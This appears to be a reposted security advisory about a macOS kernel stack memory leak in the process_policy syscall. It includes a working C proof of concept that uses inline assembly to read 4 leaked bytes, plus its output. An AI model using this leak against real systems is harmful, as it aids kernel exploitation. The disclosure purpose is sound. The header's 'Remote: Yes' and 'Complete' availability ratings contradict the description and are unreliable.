macOS process_policy Stack Leak Through Uninitialized Field

Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 5.6/10
Impact Subscore: 7.8/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: Complete

/* The syscall process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>) causes 4 bytes of uninitialized kernel stack memory to be written to userspace. The call graph looks as follows: process_policy handle_cpuuse proc_get_task_ruse_cpu task_get_cpuusage [writes scope=1/2/4/0] [always returns zero] [writes policyp if scope!=0] [always returns zero] copyout If task_get_cpuusage() set `*scope=0` because none of the flags TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags, proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero, so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace. Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0: $ cat test.c */ #include <stdint.h> #include <stdio.h> #include <inttypes.h> struct proc_policy_cpuusage_attr { uint32_t ppattr_cpu_attr; uint32_t ppattr_cpu_percentage; uint64_t ppattr_cpu_attr_interval; uint64_t ppattr_cpu_attr_deadline; }; void run(void) { int retval; struct proc_policy_cpuusage_attr attrs = {0,0,0,0}; asm volatile( "mov $0x02000143, %%rax\n\t" // process_policy "mov $1, %%rdi\n\t" // PROC_POLICY_SCOPE_PROCESS "mov $11, %%rsi\n\t" // PROC_POLICY_ACTION_GET "mov $4, %%rdx\n\t" // PROC_POLICY_RESOURCE_USAGE "mov $3, %%r10\n\t" // PROC_POLICY_RUSAGE_CPU "mov %[userptr], %%r8\n\t" "mov $0, %%r9\n\t" // PID 0 (self) // target_threadid is unused "syscall\n\t" : //out "=a"(retval) : //in [userptr] "r"(&attrs) : //clobber "cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9" ); printf("retval = %d\n", retval); printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr); printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage); printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval); printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline); } int main(void) { run(); return 0; } /* $ gcc -Wall -o test test.c $ ./test retval = 0 ppattr_cpu_attr = 0x1a180ccb ppattr_cpu_percentage = 0x0 ppattr_cpu_attr_interval = 0x0 ppattr_cpu_attr_deadline = 0x0 That looks like the lower half of a pointer or so. */

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top